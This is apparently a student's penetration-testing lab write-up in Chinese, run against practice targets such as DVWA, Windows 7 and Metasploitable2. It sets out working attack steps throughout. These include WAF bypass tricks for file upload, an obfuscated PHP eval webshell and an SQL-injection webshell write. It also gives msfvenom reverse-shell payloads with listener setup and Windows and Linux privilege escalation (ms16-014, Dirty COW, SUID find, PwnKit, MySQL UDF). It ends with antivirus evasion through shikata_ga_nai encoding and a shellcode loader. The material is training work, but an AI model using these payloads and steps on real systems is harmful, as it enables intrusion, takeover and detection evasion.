15-WAF文件上传绕过、网络后门分析&提权
1、WAF绕过文件上传实验。
-
利用双写
filename=;进行绕过-
filename=;filename="info.php",成功上传实现绕过 (证明WAF和Apache的检测规则+解析逻辑不同)
-
-
利用无用文件头绕过
-
保留请求数据包原有的格式(在请求头后的空白行和请求正文之间加入大量的无用数据),实现上传绕过

-
-
绕过内容检测
-
由于上传普通的一句话木马会被拦截,换做上传免杀的一句话木马
<?php $name = $_GET[1]; $name = substr($name,0); eval("echo 123;" . $name."echo 456; " ); ?>同样利用brup修改请求数据包,filename双写绕过,成功上传

成功执行

-
-
利用00截断绕过
-
修改文件名为info3.php;.jpg,将
;的十六进制改为00,实现前端认为是.jpg格式的文件成功上传
-
后端则读取文件时因为00截断,认为上传的是
.php格式的文件
-
2、网络层面后门分析:课堂上演示了用蚁剑进行攻击并监听流量提取攻击特征,请任选渗透测试基础课程中学习的漏洞进行攻击并监听流量提取攻击特征。
-
文件上传漏洞
-
打开Wireshark,选择VMware net8网卡,进行数据包捕获

-
在file upload模块上传post.php文件
' union select 1,"<?php eval($_POST['a']);?>" into outfile 'C:\\phpStudy\\PHPTutorial\\WWW\\DVWA\\mysql666.php
-
语法过滤出IP是10.0.0.154且协议是http的流量包,进行分析
ip.dst == 10.0.0.154 && http
-
右击数据包>追踪流>选择http流,即可查看到文件上传的流量包

-
分析请求数据包发现上传的文件含有,
<?php eval(@$_POST['a']);?>恶意代码的攻击特征
-
3、Windows提权实战,请使用除ms15-051以外的其他的exp进行攻击提权。
- 环境:win7(10.0.0.154)+kali(10.0.0.170)+phpstudy(dvwa)
-
拿下webshell
- 在dvwa靶场 > file upload模块,成功上传内容为
<?php eval(@$_POST['a']);?>的post.php文件,使用蚁剑连接
- 在dvwa靶场 > file upload模块,成功上传内容为
-
MSF制作后门程序
xxxxxxxxxx1 1msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.0.0.170 lport=5555 -f exe -o 5555.exe
-
通过webshell上传后门程序

-
Kali开启监听
msfconsole use exploit/multi/handler options set lhost 10.0.0.170 set lport 5555 set payload windows/x64/meterpreter/reverse_tcp run -
在windows中运行后门程序,反弹shell
- 蚁剑 > 在后门程序位置打开终端 > 执行5555.exe(回车)
-
Kali MSF拿到meterpreter权限

-
对目标机器进行扫描,找到提权漏洞,利用实现提权
-
扫描补丁信息
run post/windows/gather/enum_patches
-
扫描哪些提权exp可以用
run post/multi/recon/local_exploit_suggester
-
发现ms16-014可用
background #将拿下的win7权限会话放在后台 use exploit/windows/local/ms16_014_wmi_recv_notif options sessions #查看会话 set session 1 #选择会话1(win7的meterpreter) run
-
成功实现提权

-
4、Linux提权实战:脏牛提权、SUID提权、Polkit提权实验。
脏牛提权
-
环境:metasploitable2-linux + 提权漏洞exp(dirty.c)
# 下载 https://sourceforge.net/projects/metasploitable/files/Metasploitable2/ # 账号密码 msfadmin/msfadmin -
提权前为msfadmin权限

-
对上传的提权exp,dirty.c使用gcc进行编译
gcc -pthread dirty.c -o dirty -lcrypt -
得到编译后的文件dirty,使用进行提权操作
./dirty root #root为自定义的密码
-
查看/etc/passwd 发现新出现firefart用户

-
su firefart,输入密码即root,成功提权至root权限

SUID提权
-
环境:docker(sagikazarmark/dvwa)+
chmod u+s /usr/bin/find-
查找具有root权限的SUID的文件:发现
find命令具有SUID权限find / -user root -perm -4000 -print 2>/dev/null
-
提权前仅是普通用户权限

-
直接调用
find命令,达到暂时拥有root权限,实现SUID提权find / -name post.php -exec "whoami" \;
-
Polkit本地提权
-
环境:docker(chenaotian/cve-2021-4034 )
-
进入chenaotian/cve-2021-4034容器里,找到 /root/exp/CVE-2021-4031/run.sh并运行
docker run -it chenaotian/cve-2021-4034 ./root/exp/CVE-2021-4031/run.sh #运行run.sh脚本文件
-
目录下生成了一个exp文件后,进入普遍用户
su test
-
以普通用户的身份运行exp文件,实现提权至root权限

-
5、数据库提权:UDF提权实验。
-
环境:Win7 + phpstudy + DVWA
-
先利用漏洞拿到网站的webshell

-
查找数据库账号密码(C:/phpstudy_pro/WWW/DVWA/config/config.inc.php)

-
允许数据库远程连接
grant all privileges on *.* to "root"@"%" identified by "root"; #小皮的数据库管理工具(SQL_Front3.5)中执行命令 -
成功连接数据库后 > 新建查询,收集信息
show variables like '%compile%'; #查询Mysql系统位数
show variables like '%plugin%'; #查看plugin目录位置
-
-
制作提权dll
sqlmap中有编码后的dll文件,路径为:
sqlmap\data\udf\mysql\windows\64\lib_mysqludf_sys.dll_;需要利用cloak.py进行解码获得mysqludf_sys.dll,cloak.py路径为:
sqlmap\extra\cloak\cloak.pypython cloak.py -d -i lib_mysqludf_sys.dll_ #解码
-
将dll文件上传到C:\phpstudy_pro\Extensions\MySQL5.7.26\lib\plugin\目录下(Mysql默认安装时没有lib\plugin目录,需要新建)

-
创建sys_eva函数
create function sys_eval returns string soname 'lib_mysqludf_sys.dll';
-
使用创建好的函数提权
select sys_eval('whoami');注意:这里为普通用户是因为站点是由普通用户搭建,所以最高提权也只能到普通用户,想要管理员权限,站点必须由管理员搭建。

-
win7开启管理员用户(密码为:admin)
net user administrator /active:yes net user administrator admin
-
切换管理员账号后,再次重启mysql调用
sys_eval提权,此次显示则是管理员权限
-
6、免杀:MSF编码器结合shellcode加载器进行免杀实验。
-
环境:kali+win7
-
未经过免杀的处理的木马,查杀引擎https://www.virustotal.com/gui/home/upload的查杀率
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.0.0.170 lport=5555 -f exe -o 5555.exe
-
利用MSF和shellcode加载器进行免杀
-
利用编码器生成jpg文件
# -e 指定编码器为x64/shikata_ga_nai #-i 指定次数 msfvenom -p windows/meterpreter/reverse_tcp -e x64/shikata_ga_nai -i 7 -b '\x00' lhost=10.0.0.170 lport=6666 -f raw -o crowsec.jpg -
再次进行检测
crowsec.jpg查杀到的概率大幅度降低

想要利用此木马还需要执行文件ms.exe搭配使用,查看ms.exe免杀效果

-
对免杀木马利用
-
msf先开启监听
msfconsole use exploit/multi/handler options set payload windows/meterpreter/reverse_tcp set lhost 10.0.0.170 set lport 6666 run -
在win7中将crowsec.jpg和ms.exe放到同一目录,点击ms.exe运行
(如果编码器运行不成功,需要 msvcr110.dll 放到 C:\Windows\SysWOW64 下)

-
处理完毕后,再次点击运行ms.exe,成功获取到meterpreter

-
-
-

浙公网安备 33010602011771号